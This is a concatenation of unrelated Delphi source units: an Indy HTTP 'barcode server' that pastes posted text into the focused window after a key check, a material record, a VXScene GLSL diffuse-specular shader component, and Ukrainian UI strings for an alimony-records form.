0.985; LinkStr := 0.1; end.
unit MainBarCodeServer; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdBaseComponent, IdComponent, IdCustomTCPServer, IdCustomHTTPServer, IdHTTPServer, IdContext, IdHeaderList, IdGlobal, Vcl.Clipbrd, IdServerIOHandler, IdSSL, IdSSLOpenSSL, Vcl.ExtCtrls, Vcl.AppEvnts, Vcl.Menus; type TMainForm = class(TForm) IdHTTPServer1: TIdHTTPServer; Memo1: TMemo; IdServerIOHandlerSSLOpenSSL1: TIdServerIOHandlerSSLOpenSSL; Panel1: TPanel; ServerKeyGenerateBtn1: TButton; Label1: TLabel; ServerKeyEdit1: TEdit; Label5: TLabel; TrayIcon1: TTrayIcon; ApplicationEvents1: TApplicationEvents; Label2: TLabel; PopupMenu1: TPopupMenu; Show1: TMenuItem; Exit1: TMenuItem; Label3: TLabel; PortEdit1: TEdit; PortBtn1: TButton; procedure ServerKeyGenerateBtn1Click(Sender: TObject); procedure IdHTTPServer1HeadersAvailable(AContext: TIdContext; const AUri: string; AHeaders: TIdHeaderList; var VContinueProcessing: Boolean); procedure IdHTTPServer1DoneWithPostStream(AContext: TIdContext; ARequestInfo: TIdHTTPRequestInfo; var VCanFree: Boolean); Procedure PostVKey(); procedure FormCreate(Sender: TObject); procedure TrayIcon1Click(Sender: TObject); procedure ApplicationEvents1Minimize(Sender: TObject); procedure FormShow(Sender: TObject); procedure CreateKey(); procedure Show1Click(Sender: TObject); procedure Exit1Click(Sender: TObject); procedure ShowApp(); procedure PortBtn1Click(Sender: TObject); private hw: HWND; key_ini: String; port_ini: String; auth: Boolean; { Private declarations } public { Public declarations } end; var MainForm: TMainForm; implementation {$R *.dfm} uses grg; procedure TMainForm.CreateKey(); var x: Integer; y: char; begin // Generate auth key key_ini := ''; for x := 0 to 9 do begin y := Chr(ord('0') + Random(10)); key_ini.Insert(0, y); end; grg.WriteINIstr('Server', 'Key', key_ini); ServerKeyEdit1.text := key_ini; end; procedure TMainForm.Exit1Click(Sender: TObject); begin close; end; procedure TMainForm.ApplicationEvents1Minimize(Sender: TObject); begin // Hide the window and set its state variable to wsMinimized. Hide(); WindowState := wsMinimized; // Show the animated tray icon and also a hint balloon. TrayIcon1.Visible := True; TrayIcon1.ShowBalloonHint; end; procedure TMainForm.ServerKeyGenerateBtn1Click(Sender: TObject); begin CreateKey(); end; procedure TMainForm.FormCreate(Sender: TObject); begin auth := False; end; procedure TMainForm.FormShow(Sender: TObject); begin if grg.INIstrExists('Server', 'key') = True then begin key_ini := grg.ReadINIstr('Server', 'key'); if key_ini.Length < 8 then CreateKey(); end else begin CreateKey(); end; if grg.INIstrExists('Server', 'port') = True then begin port_ini := grg.ReadINIstr('Server', 'port'); end else port_ini := '6942'; PortEdit1.text := port_ini; ServerKeyEdit1.text := key_ini; IdHTTPServer1.Bindings.Items[0].port := strtoint(port_ini); IdHTTPServer1.Active := True; end; procedure TMainForm.IdHTTPServer1DoneWithPostStream(AContext: TIdContext; ARequestInfo: TIdHTTPRequestInfo; var VCanFree: Boolean); var todayStr: string; begin todayStr := DateTimeToStr(now); // If client has wrong auth key no Copy/Paste will occur. if auth = False then begin Memo1.Lines.Insert(0, todayStr + ': Auth failed from ' + ARequestInfo.RemoteIP); exit; end; // debug delay // sleep(2000); // Set stream at position 0 ARequestInfo.PostStream.Position := 0; // Write log Memo1.Lines.Insert(0, todayStr + ': ' + ReadStringFromStream (ARequestInfo.PostStream)); // Set stream at position 0 ARequestInfo.PostStream.Position := 0; // Copy string from client to Clipboard Clipboard.AsText := ReadStringFromStream(ARequestInfo.PostStream); // Paste clipboard to window with focus PostVKey(); end; procedure TMainForm.IdHTTPServer1HeadersAvailable(AContext: TIdContext; const AUri: string; AHeaders: TIdHeaderList; var VContinueProcessing: Boolean); var todayStr: string; begin todayStr := DateTimeToStr(now); // Check if client has correct key if AHeaders.Values['X-API-KEY'] = key_ini then begin auth := True; end else begin auth := False; VContinueProcessing := False; Memo1.Lines.Insert(0, todayStr + ': Auth failed from ' + AContext.Binding.PeerIP); end; end; procedure TMainForm.PortBtn1Click(Sender: TObject); var port: Integer; begin port_ini := PortEdit1.text; grg.WriteINIstr('Server', 'port', port_ini); IdHTTPServer1.Active := False; try port := strtoint(PortEdit1.text); except port := 6942; end; IdHTTPServer1.Bindings.Items[0].port := port; IdHTTPServer1.Active := True; Memo1.Lines.Add(inttostr(IdHTTPServer1.Bindings.Items[0].port)); end; Procedure TMainForm.PostVKey(); Begin // Simulate Copy/Paste keyboard event. keybd_event(VK_CONTROL, MapVirtualkey(VK_CONTROL, 0), 0, 0); keybd_event(ord('V'), MapVirtualkey(ord('V'), 0), 0, 0); keybd_event(ord('V'), MapVirtualkey(ord('V'), 0), KEYEVENTF_KEYUP, 0); keybd_event(VK_CONTROL, MapVirtualkey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0); End; procedure TMainForm.ShowApp(); begin // Bring app to forground Show(); WindowState := wsNormal; Application.BringToFront(); end; procedure TMainForm.Show1Click(Sender: TObject); begin ShowApp(); end; procedure TMainForm.TrayIcon1Click(Sender: TObject); begin ShowApp(); end; end.
unit Material; interface uses System.Math.Vectors, Vcl.Graphics; type TMaterial = record public color: TVector; reflective: Single; opaqueness: Single; refractive: Single; constructor Create(color: TVector; reflective, opaqueness, refractive: Single); end; implementation { TMaterial } constructor TMaterial.Create(color: TVector; reflective, opaqueness, refractive: Single); begin Self.color := color; Self.reflective := reflective; Self.opaqueness := opaqueness; Self.refractive := refractive; end; end.
// // VXScene Component Library, based on GLScene http://glscene.sourceforge.net // { This is a collection of GLSL Diffuse Specular shaders, comes in these variaties (to know what these suffixes and prefixes mean see VXS.CustomShader.pas): - TVXSLDiffuseSpecularShader - TVXSLDiffuseSpecularShaderMT - TVXSLMLDiffuseSpecularShader - TVXSLMLDiffuseSpecularShaderMT Notes: 1) TVXSLDiffuseSpecularShader takes all Material parameters directly from OpenGL (that includes TVXMaterial's) 2) TVXSLDiffuseSpecularShader takes all Light parameters directly from OpenGL (that includes TVXLightSource's) } unit VXS.GLSLDiffuseSpecularShader; interface {$I VXScene.inc} uses System.Classes, System.SysUtils, VXS.OpenGL, VXS.Texture, VXS.Scene, VXS.VectorGeometry, VXS.Strings, VXS.CustomShader, VXS.GLSLShader, VXS.Color, VXS.RenderContextInfo, VXS.Material; type EGLSLDiffuseSpecularShaderException = class(EGLSLShaderException); // Abstract class. TVXBaseCustomGLSLDiffuseSpecular = class(TVXCustomGLSLShader) private FLightPower: Single; FRealisticSpecular: Boolean; FFogSupport: TVXShaderFogSupport; procedure SetRealisticSpecular(const Value: Boolean); procedure SetFogSupport(const Value: TVXShaderFogSupport); protected procedure DoApply(var rci : TVXRenderContextInfo; Sender : TObject); override; function DoUnApply(var rci: TVXRenderContextInfo): Boolean; override; public constructor Create(AOwner : TComponent); override; property LightPower: Single read FLightPower write FLightPower; property RealisticSpecular: Boolean read FRealisticSpecular write SetRealisticSpecular; // User can disable fog support and save some FPS if he doesn't need it. property FogSupport: TVXShaderFogSupport read FFogSupport write SetFogSupport default sfsAuto; end; // Abstract class. TVXBaseGLSLDiffuseSpecularShaderMT = class(TVXBaseCustomGLSLDiffuseSpecular, IVXMaterialLibrarySupported) private FMaterialLibrary: TVXMaterialLibrary; FMainTexture: TVXTexture; FMainTextureName: TVXLibMaterialName; function GetMainTextureName: TVXLibMaterialName; procedure SetMainTextureName(const Value: TVXLibMaterialName); // Implementing IGLMaterialLibrarySupported. function GetMaterialLibrary: TVXAbstractMaterialLibrary; protected procedure SetMaterialLibrary(const Value: TVXMaterialLibrary); virtual; procedure Notification(AComponent: TComponent; Operation: TOperation); override; procedure DoApply(var rci : TVXRenderContextInfo; Sender : TObject); override; public property MainTexture: TVXTexture read FMainTexture write FMainTexture; property MainTextureName: TVXLibMaterialName read GetMainTextureName write SetMainTextureName; property MaterialLibrary: TVXMaterialLibrary read FMaterialLibrary write SetMaterialLibrary; end; {******** Single Light ************} TVXCustomGLSLDiffuseSpecularShader = class(TVXBaseCustomGLSLDiffuseSpecular) protected procedure DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); override; procedure DoApply(var rci : TVXRenderContextInfo; Sender : TObject); override; end; TVXCustomGLSLDiffuseSpecularShaderMT = class(TVXBaseGLSLDiffuseSpecularShaderMT) protected procedure DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); override; end; {******** Multi Light ************} { Note: probably LightCount should be replaced by LightSources, like in GLSLBumpShader.pas } TLightRecord = record Enabled: Boolean; Style: TLightStyle; end; TVXCustomGLSLMLDiffuseSpecularShader = class(TVXBaseCustomGLSLDiffuseSpecular) private FLightTrace: array[0..7] of TLightRecord; protected procedure DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); override; procedure DoApply(var rci: TVXRenderContextInfo; Sender: TObject); override; public constructor Create(AOwner : TComponent); override; end; TVXCustomGLSLMLDiffuseSpecularShaderMT = class(TVXBaseGLSLDiffuseSpecularShaderMT) private FLightTrace: array[0..7] of TLightRecord; protected procedure DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); override; procedure DoApply(var rci: TVXRenderContextInfo; Sender: TObject); override; public constructor Create(AOwner : TComponent); override; end; {******** Published Stuff ************} TVXSLDiffuseSpecularShaderMT = class(TVXCustomGLSLDiffuseSpecularShaderMT) published property MainTextureName; property LightPower; property FogSupport; end; TVXSLDiffuseSpecularShader = class(TVXCustomGLSLDiffuseSpecularShader) published property LightPower; property FogSupport; end; TVXSLMLDiffuseSpecularShaderMT = class(TVXCustomGLSLMLDiffuseSpecularShaderMT) published property MainTextureName; property LightPower; property FogSupport; end; TVXSLMLDiffuseSpecularShader = class(TVXCustomGLSLMLDiffuseSpecularShader) published property LightPower; property FogSupport; end; //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- implementation //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- procedure GetVertexProgramCode(const Code: TStrings; AFogSupport: Boolean; var rci: TVXRenderContextInfo); begin with Code do begin Clear; Add('varying vec3 Normal; '); Add('varying vec4 Position; '); if AFogSupport then begin Add('varying float fogFactor; '); end; Add(' '); Add(' '); Add('void main(void) '); Add('{ '); Add(' gl_Position = ftransform(); '); Add(' gl_TexCoord[0] = gl_TextureMatrix[0] * gl_MultiTexCoord0; '); Add(' Normal = normalize(gl_NormalMatrix * gl_Normal); '); Add(' Position = gl_ModelViewMatrix * gl_Vertex; '); if AFogSupport then begin Add(' const float LOG2 = 1.442695; '); Add(' gl_FogFragCoord = length(Position.xyz); '); case TVXSceneBuffer(rci.buffer).FogEnvironment.FogMode of fmLinear: Add(' fogFactor = (gl_Fog.end - gl_FogFragCoord) * gl_Fog.scale; '); fmExp, // Yep, I don't know about this type, so I use fmExp2. fmExp2: begin Add(' fogFactor = exp2( -gl_Fog.density * '); Add(' gl_Fog.density * '); Add(' gl_FogFragCoord * '); Add(' gl_FogFragCoord * '); Add(' LOG2 ); '); end; else Assert(False, strUnknownType); end; Add(' fogFactor = clamp(fogFactor, 0.0, 1.0); '); end; Add('} '); end; end; procedure AddLightSub(const Code: TStrings); begin with Code do begin Add('void pointLight(in int i, in vec3 normal, in vec3 eye, in vec3 ecPosition3)'); Add('{'); Add(' float nDotVP; // normal . light direction'); Add(' float nDotHV; // normal . light half vector'); Add(' float pf; // power factor'); Add(' float attenuation; // computed attenuation factor'); Add(' float d; // distance from surface to light source'); Add(' vec3 VP; // direction from surface to light position'); Add(' vec3 halfVector; // direction of maximum highlights'); Add(' '); Add(' // Compute vector from surface to light position'); Add(' VP = vec3 (gl_LightSource[i].position) - ecPosition3;'); Add(' '); Add(' // Compute distance between surface and light position'); Add(' d = length(VP);'); Add(' '); Add(' // Normalize the vector from surface to light position'); Add(' VP = normalize(VP);'); Add(' '); Add(' // Compute attenuation'); Add(' attenuation = 1.0 / (gl_LightSource[i].constantAttenuation +'); Add(' gl_LightSource[i].linearAttenuation * d +'); Add(' gl_LightSource[i].quadraticAttenuation * d * d);'); Add(' '); Add(' halfVector = normalize(VP + eye);'); Add(' '); Add(' nDotVP = max(0.0, dot(normal, VP));'); Add(' nDotHV = max(0.0, dot(normal, halfVector));'); Add(' '); Add(' if (nDotVP == 0.0)'); Add(' {'); Add(' pf = 0.0;'); Add(' }'); Add(' else'); Add(' {'); Add(' pf = pow(nDotHV, gl_FrontMaterial.shininess);'); Add(' '); Add(' }'); Add(' Ambient += gl_LightSource[i].ambient * attenuation;'); Add(' Diffuse += gl_LightSource[i].diffuse * nDotVP * attenuation;'); Add(' Specular += gl_LightSource[i].specular * pf * attenuation;'); Add('}'); Add(' '); Add('void directionalLight(in int i, in vec3 normal)'); Add('{'); Add(' float nDotVP; // normal . light direction'); Add(' float nDotHV; // normal . light half vector'); Add(' float pf; // power factor'); Add(' '); Add(' nDotVP = max(0.0, dot(normal, normalize(vec3 (gl_LightSource[i].position))));'); Add(' nDotHV = max(0.0, dot(normal, vec3 (gl_LightSource[i].halfVector)));'); Add(' '); Add(' if (nDotVP == 0.0)'); Add(' {'); Add(' pf = 0.0;'); Add(' }'); Add(' else'); Add(' {'); Add(' pf = pow(nDotHV, gl_FrontMaterial.shininess);'); Add(' '); Add(' }'); Add(' Ambient += gl_LightSource[i].ambient;'); Add(' Diffuse += gl_LightSource[i].diffuse * nDotVP;'); Add(' Specular += gl_LightSource[i].specular * pf;'); Add('}'); Add('void spotLight(in int i, in vec3 normal, in vec3 eye, in vec3 ecPosition3)'); Add('{'); Add(' float nDotVP; // normal . light direction'); Add(' float nDotHV; // normal . light half vector'); Add(' float pf; // power factor'); Add(' float spotDot; // cosine of angle between spotlight'); Add(' float spotAttenuation; // spotlight attenuation factor'); Add(' float attenuation; // computed attenuation factor'); Add(' float d; // distance from surface to light source'); Add(' vec3 VP; // direction from surface to light position'); Add(' vec3 halfVector; // direction of maximum highlights'); Add(' '); Add(' // Compute vector from surface to light position'); Add(' VP = vec3 (gl_LightSource[i].position) - ecPosition3;'); Add(' '); Add(' // Compute distance between surface and light position'); Add(' d = length(VP);'); Add(' '); Add(' // Normalize the vector from surface to light position'); Add(' VP = normalize(VP);'); Add(' '); Add(' // Compute attenuation'); Add(' attenuation = 1.0 / (gl_LightSource[i].constantAttenuation +'); Add(' gl_LightSource[i].linearAttenuation * d +'); Add(' gl_LightSource[i].quadraticAttenuation * d * d);'); Add(' '); Add(' // See if point on surface is inside cone of illumination'); Add(' spotDot = dot(-VP, normalize(gl_LightSource[i].spotDirection));'); Add(' '); Add(' if (spotDot < gl_LightSource[i].spotCosCutoff)'); Add(' {'); Add(' spotAttenuation = 0.0; // light adds no contribution'); Add(' }'); Add(' else'); Add(' {'); Add(' spotAttenuation = pow(spotDot, gl_LightSource[i].spotExponent);'); Add(' '); Add(' }'); Add(' // Combine the spotlight and distance attenuation.'); Add(' attenuation *= spotAttenuation;'); Add(' '); Add(' halfVector = normalize(VP + eye);'); Add(' '); Add(' nDotVP = max(0.0, dot(normal, VP));'); Add(' nDotHV = max(0.0, dot(normal, halfVector));'); Add(' '); Add(' if (nDotVP == 0.0)'); Add(' {'); Add(' pf = 0.0;'); Add(' }'); Add(' else'); Add(' {'); Add(' pf = pow(nDotHV, gl_FrontMaterial.shininess);'); Add(' '); Add(' }'); Add(' Ambient += gl_LightSource[i].ambient * attenuation;'); Add(' Diffuse += gl_LightSource[i].diffuse * nDotVP * attenuation;'); Add(' Specular += gl_LightSource[i].specular * pf * attenuation;'); Add(' '); Add('}'); Add('void infiniteSpotLight(in int i, in vec3 normal)'); Add('{'); Add(' float nDotVP; // normal . light direction'); Add(' float nDotHV; // normal . light half vector'); Add(' float pf; // power factor'); Add(' float spotAttenuation;'); Add(' vec3 Ppli;'); Add(' vec3 Sdli;'); Add(' '); Add(' nDotVP = max(0.0, dot(normal, normalize(vec3 (gl_LightSource[i].position))));'); Add(' nDotHV = max(0.0, dot(normal, vec3 (gl_LightSource[i].halfVector)));'); Add(' '); Add(' Ppli = -normalize(vec3(gl_LightSource[i].position));'); Add(' Sdli = normalize(vec3(gl_LightSource[i].spotDirection));'); Add(' '); Add(' spotAttenuation = pow(dot(Ppli, Sdli), gl_LightSource[i].spotExponent);'); Add(' if (nDotVP == 0.0)'); Add(' {'); Add(' pf = 0.0;'); Add(' }'); Add(' else'); Add(' {'); Add(' pf = pow(nDotHV, gl_FrontMaterial.shininess);'); Add(' '); Add(' }'); Add(' Ambient += gl_LightSource[i].ambient * spotAttenuation;'); Add(' Diffuse += gl_LightSource[i].diffuse * nDotVP * spotAttenuation;'); Add(' Specular += gl_LightSource[i].specular * pf * spotAttenuation;'); Add('}'); end; end; procedure GetMLFragmentProgramCodeMid(const Code: TStrings; const CurrentLight: Integer; AStyle: TLightStyle); begin with Code do begin case AStyle of lsOmni: Add(Format(' pointLight(%d, N, eye, Pos); ', [CurrentLight])); lsSpot: Add(Format(' spotLight(%d, N, eye, Pos); ', [CurrentLight])); lsParallel: Add(Format(' directionalLight(%d, N); ', [CurrentLight])); lsParallelSpot: Add(Format(' infiniteSpotLight(%d, N); ', [CurrentLight])); end; end; end; procedure GetFragmentProgramCode(const Code: TStrings; const ARealisticSpecular: Boolean; const AFogSupport: Boolean; aRci: TVXRenderContextInfo); var scene: TVXScene; begin with Code do begin Clear; Add('uniform float LightIntensity; '); Add('uniform sampler2D MainTexture; '); Add(' '); Add('varying vec3 Normal; '); Add('varying vec4 Position; '); if AFogSupport then begin Add('varying float fogFactor; '); end; Add('vec4 Ambient;'); Add('vec4 Diffuse;'); Add('vec4 Specular;'); AddLightSub(Code); Add('void main(void) '); Add('{ '); Add(' vec4 TextureContrib = texture2D(MainTexture, gl_TexCoord[0].xy); '); Add(' vec3 eye = vec3(0.0, 0.0, 1.0); '); Add(' Diffuse = vec4(0.0); '); Add(' Specular = vec4(0.0); '); Add(' Ambient = vec4(0.0); '); Add(' vec3 Pos = Position.xyz; '); Add(' vec3 N = normalize(Normal); '); scene := TVXScene(ARci.scene); if (scene.Lights.Count > 0) then GetMLFragmentProgramCodeMid(Code, 0, TVXLightSource(scene.Lights[0]).LightStyle); if ARealisticSpecular then Add(' gl_FragColor = LightIntensity * (TextureContrib * (gl_FrontLightModelProduct.sceneColor + Ambient * gl_FrontMaterial.ambient + Diffuse * gl_FrontMaterial.diffuse) + Specular * gl_FrontMaterial.specular); ') else Add(' gl_FragColor = LightIntensity * TextureContrib * (gl_FrontLightModelProduct.sceneColor + Ambient * gl_FrontMaterial.ambient + Diffuse * gl_FrontMaterial.diffuse + Specular * gl_FrontMaterial.specular); '); if AFogSupport then Add(' gl_FragColor = mix(gl_Fog.color, gl_FragColor, fogFactor);'); Add(' gl_FragColor.a = TextureContrib.a; '); Add('} '); end; end; procedure GetMLFragmentProgramCodeBeg(const Code: TStrings; const AFogSupport: Boolean); begin with Code do begin Clear; Add('uniform sampler2D MainTexture;'); Add('uniform float LightIntensity; '); Add('uniform float SpecPower; '); Add('varying vec3 Normal;'); Add('varying vec4 Position;'); if AFogSupport then begin Add('varying float fogFactor;'); end; Add('vec4 Ambient;'); Add('vec4 Diffuse;'); Add('vec4 Specular;'); AddLightSub(Code); Add('void main(void) '); Add('{ '); Add(' vec4 TextureContrib = texture2D(MainTexture, gl_TexCoord[0].st); '); Add(' vec3 eye = vec3(0.0, 0.0, 1.0); '); Add(' Diffuse = vec4(0.0); '); Add(' Specular = vec4(0.0); '); Add(' Ambient = vec4(0.0); '); Add(' vec3 Pos = Position.xyz; '); Add(' vec3 N = normalize(Normal); '); end; end; procedure GetMLFragmentProgramCodeEnd(const Code: TStrings; const ARealisticSpecular: Boolean; AFogSupport: Boolean); begin with Code do begin if ARealisticSpecular then Add(' gl_FragColor = LightIntensity * (TextureContrib * (gl_FrontLightModelProduct.sceneColor + Ambient * gl_FrontMaterial.ambient + Diffuse * gl_FrontMaterial.diffuse) + Specular * gl_FrontMaterial.specular); ') else Add(' gl_FragColor = LightIntensity * TextureContrib * (gl_FrontLightModelProduct.sceneColor + Ambient * gl_FrontMaterial.ambient + Diffuse * gl_FrontMaterial.diffuse + Specular * gl_FrontMaterial.specular); '); if AFogSupport then Add(' gl_FragColor = mix(gl_Fog.color, gl_FragColor, fogFactor);'); Add(' gl_FragColor.a = TextureContrib.a; '); Add('} '); end; end; { TVXBaseCustomGLSLDiffuseSpecular } constructor TVXBaseCustomGLSLDiffuseSpecular.Create( AOwner: TComponent); begin inherited; FLightPower := 1; FFogSupport := sfsAuto; TStringList(VertexProgram.Code).OnChange := nil; TStringList(FragmentProgram.Code).OnChange := nil; VertexProgram.Enabled := true; FragmentProgram.Enabled := true; end; procedure TVXBaseCustomGLSLDiffuseSpecular.DoApply( var rci: TVXRenderContextInfo; Sender: TObject); begin GetGLSLProg.UseProgramObject; Param['LightIntensity'].AsVector1f := FLightPower; end; function TVXBaseCustomGLSLDiffuseSpecular.DoUnApply( var rci: TVXRenderContextInfo): Boolean; begin Result := False; GetGLSLProg.EndUseProgramObject; end; procedure TVXBaseCustomGLSLDiffuseSpecular.SetFogSupport( const Value: TVXShaderFogSupport); begin if FFogSupport <> Value then begin FFogSupport := Value; Self.FinalizeShader; end; end; procedure TVXBaseCustomGLSLDiffuseSpecular.SetRealisticSpecular( const Value: Boolean); begin if FRealisticSpecular <> Value then begin FRealisticSpecular := Value; Self.FinalizeShader; end; end; { TVXBaseGLSLDiffuseSpecularShaderMT } procedure TVXBaseGLSLDiffuseSpecularShaderMT.DoApply( var rci: TVXRenderContextInfo; Sender: TObject); begin inherited; Param['MainTexture'].AsTexture2D[0] := FMainTexture; end; function TVXBaseGLSLDiffuseSpecularShaderMT.GetMainTextureName: TVXLibMaterialName; begin Result := FMaterialLibrary.GetNameOfTexture(FMainTexture); end; function TVXBaseGLSLDiffuseSpecularShaderMT.GetMaterialLibrary: TVXAbstractMaterialLibrary; begin Result := FMaterialLibrary; end; procedure TVXBaseGLSLDiffuseSpecularShaderMT.Notification( AComponent: TComponent; Operation: TOperation); var Index: Integer; begin inherited; if Operation = opRemove then if AComponent = FMaterialLibrary then if FMaterialLibrary <> nil then begin //need to nil the textures that were ownned by it if FMainTexture <> nil then begin Index := FMaterialLibrary.Materials.GetTextureIndex(FMainTexture); if Index <> -1 then FMainTexture := nil; end; FMaterialLibrary := nil; end; end; procedure TVXBaseGLSLDiffuseSpecularShaderMT.SetMainTextureName( const Value: TVXLibMaterialName); begin if FMaterialLibrary = nil then begin FMainTextureName := Value; if not (csLoading in ComponentState) then raise EGLSLDiffuseSpecularShaderException.Create(strErrorEx + strMatLibNotDefined); end else begin FMainTexture := FMaterialLibrary.TextureByName(Value); FMainTextureName := ''; end; end; procedure TVXBaseGLSLDiffuseSpecularShaderMT.SetMaterialLibrary( const Value: TVXMaterialLibrary); begin if FMaterialLibrary <> nil then FMaterialLibrary.RemoveFreeNotification(Self); FMaterialLibrary := Value; if FMaterialLibrary <> nil then begin FMaterialLibrary.FreeNotification(Self); if FMainTextureName <> '' then SetMainTextureName(FMainTextureName); end else FMainTextureName := ''; end; { TVXCustomGLSLDiffuseSpecularShaderMT } procedure TVXCustomGLSLDiffuseSpecularShaderMT.DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); begin GetVertexProgramCode(VertexProgram.Code, IsFogEnabled(FFogSupport, rci), rci); GetFragmentProgramCode(FragmentProgram.Code, FRealisticSpecular, IsFogEnabled(FFogSupport, rci), rci); VertexProgram.Enabled := True; FragmentProgram.Enabled := True; inherited; end; { TVXCustomGLSLDiffuseSpecularShader } procedure TVXCustomGLSLDiffuseSpecularShader.DoApply( var rci: TVXRenderContextInfo; Sender: TObject); begin inherited; Param['MainTexture'].AsVector1i := 0; // Use the current texture. end; procedure TVXCustomGLSLDiffuseSpecularShader.DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); begin GetVertexProgramCode(VertexProgram.Code, IsFogEnabled(FFogSupport, rci), rci); GetFragmentProgramCode(FragmentProgram.Code, FRealisticSpecular, IsFogEnabled(FFogSupport, rci), rci); VertexProgram.Enabled := True; FragmentProgram.Enabled := True; inherited; end; { TVXCustomGLSLMLDiffuseSpecularShader } constructor TVXCustomGLSLMLDiffuseSpecularShader.Create( AOwner: TComponent); begin inherited; end; procedure TVXCustomGLSLMLDiffuseSpecularShader.DoApply(var rci: TVXRenderContextInfo; Sender: TObject); var I: Integer; scene: TVXScene; needRecompile: Boolean; begin scene := TVXScene(rci.scene); needRecompile := False; for I := 0 to scene.Lights.Count - 1 do begin if Assigned(scene.Lights[I]) then begin if FLightTrace[I].Enabled <> TVXLightSource(scene.Lights[I]).Shining then begin needRecompile := True; break; end; if FLightTrace[I].Style <> TVXLightSource(scene.Lights[I]).LightStyle then begin needRecompile := True; break; end; end else if FLightTrace[I].Enabled then begin needRecompile := True; break; end; end; if needRecompile then begin FinalizeShader; InitializeShader(rci, Sender); end; inherited; Param['MainTexture'].AsVector1i := 0; // Use the current texture. end; procedure TVXCustomGLSLMLDiffuseSpecularShader.DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); var I: Integer; scene: TVXScene; begin GetVertexProgramCode(VertexProgram.Code, IsFogEnabled(FFogSupport, rci), rci); with FragmentProgram.Code do begin GetMLFragmentProgramCodeBeg(FragmentProgram.Code, IsFogEnabled(FFogSupport, rci)); // Repeat for all lights. scene := TVXScene(rci.scene); for I := 0 to scene.Lights.Count - 1 do begin if Assigned(scene.Lights[I]) then begin FLightTrace[I].Enabled := TVXLightSource(scene.Lights[I]).Shining; FLightTrace[I].Style := TVXLightSource(scene.Lights[I]).LightStyle; if FLightTrace[I].Enabled then GetMLFragmentProgramCodeMid(FragmentProgram.Code, I, FLightTrace[I].Style); end else FLightTrace[I].Enabled := False; end; GetMLFragmentProgramCodeEnd(FragmentProgram.Code, FRealisticSpecular, IsFogEnabled(FFogSupport, rci)); end; VertexProgram.Enabled := True; FragmentProgram.Enabled := True; inherited DoInitialize(rci, Sender); end; { TVXCustomGLSLMLDiffuseSpecularShaderMT } constructor TVXCustomGLSLMLDiffuseSpecularShaderMT.Create( AOwner: TComponent); begin inherited; end; procedure TVXCustomGLSLMLDiffuseSpecularShaderMT.DoApply( var rci: TVXRenderContextInfo; Sender: TObject); var I: Integer; scene: TVXScene; needRecompile: Boolean; begin scene := TVXScene(rci.scene); needRecompile := False; for I := 0 to scene.Lights.Count - 1 do begin if Assigned(scene.Lights[I]) then begin if FLightTrace[I].Enabled <> TVXLightSource(scene.Lights[I]).Shining then begin needRecompile := True; break; end; if FLightTrace[I].Style <> TVXLightSource(scene.Lights[I]).LightStyle then begin needRecompile := True; break; end; end else if FLightTrace[I].Enabled then begin needRecompile := True; break; end; end; if needRecompile then begin FinalizeShader; InitializeShader(rci, Sender); end; inherited; end; procedure TVXCustomGLSLMLDiffuseSpecularShaderMT.DoInitialize(var rci: TVXRenderContextInfo; Sender: TObject); var I: Integer; scene: TVXScene; begin GetVertexProgramCode(VertexProgram.Code, IsFogEnabled(FFogSupport, rci), rci); with FragmentProgram.Code do begin GetMLFragmentProgramCodeBeg(FragmentProgram.Code, IsFogEnabled(FFogSupport, rci)); // Repeat for all lights. scene := TVXScene(rci.scene); for I := 0 to scene.Lights.Count - 1 do begin if Assigned(scene.Lights[I]) then begin FLightTrace[I].Enabled := TVXLightSource(scene.Lights[I]).Shining; FLightTrace[I].Style := TVXLightSource(scene.Lights[I]).LightStyle; if FLightTrace[I].Enabled then GetMLFragmentProgramCodeMid(FragmentProgram.Code, I, FLightTrace[I].Style); end else FLightTrace[I].Enabled := False; end; GetMLFragmentProgramCodeEnd(FragmentProgram.Code, FRealisticSpecular, IsFogEnabled(FFogSupport, rci)); end; VertexProgram.Enabled := True; FragmentProgram.Enabled := True; inherited; end; initialization RegisterClasses([ TVXCustomGLSLDiffuseSpecularShader, TVXCustomGLSLDiffuseSpecularShaderMT, TVXCustomGLSLMLDiffuseSpecularShader, TVXCustomGLSLMLDiffuseSpecularShaderMT, TVXSLDiffuseSpecularShader, TVXSLDiffuseSpecularShaderMT, TVXSLMLDiffuseSpecularShader, TVXSLMLDiffuseSpecularShaderMT ]); end.
unit Unit_AlimonyControl_Consts; interface resourcestring //FAlimonyControl FAlimonyControl_Caption_Insert = 'Додавання даних по аліментам'; FAlimonyControl_Caption_Update = 'Редагування даних по аліментам'; FAlimonyControl_Caption_Delete = 'Вилучення даних по аліментам'; FAlimonyControl_Caption_Detail = 'Перегляд даних по аліментам'; FAlimonyControl_Text_Delete = 'Ви дійсно бажаєте вилучити обраний запис?'; FAlimonyControl_YesBtn_Caption = 'Прийняти'; FAlimonyControl_CancelBtn_Caption = 'Відмінити'; FAlimonyControl_CancelBtn_Caption_Detail = 'Вийти'; FAlimonyControl_Error_Caption = 'Помилка'; FAlimonyControl_InputDocument_Text = 'Не введено підставу'; FAlimonyControl_InputDolg_Text = 'Не введено борг'; FAlimonyControl_InputPercent_Text = 'Не введено процент сплати'; FAlimonyControl_InputMaxPercent_Text = 'Не введено можливий процент'; FAlimonyControl_InputPochtaPercent_Text = 'Не введено поштовий процент'; FAlimonyControl_InputPeriod_Text = 'Не вірно вказано період сплати'; FAlimonyControl_InputSendPeople_Text = 'Не вказано особу - одержувача'; FAlimonyControl_InputSendAddress_Text = 'Не вказано адресу'+#13+'надсилання аліментів'; FAlimonyControl_InputPercentMoreMaxError_Text = 'Не вірно вказано проценти:'+#13+'можливий процент має бути не меншим'+#13+'за процент до сплати'; FAlimonyControl_InputPochtaMorePercentError_Text = 'Не вірно вказано проценти:'+#13+'поштовий процент має бути не більшим'+#13+'за процент до сплати'; 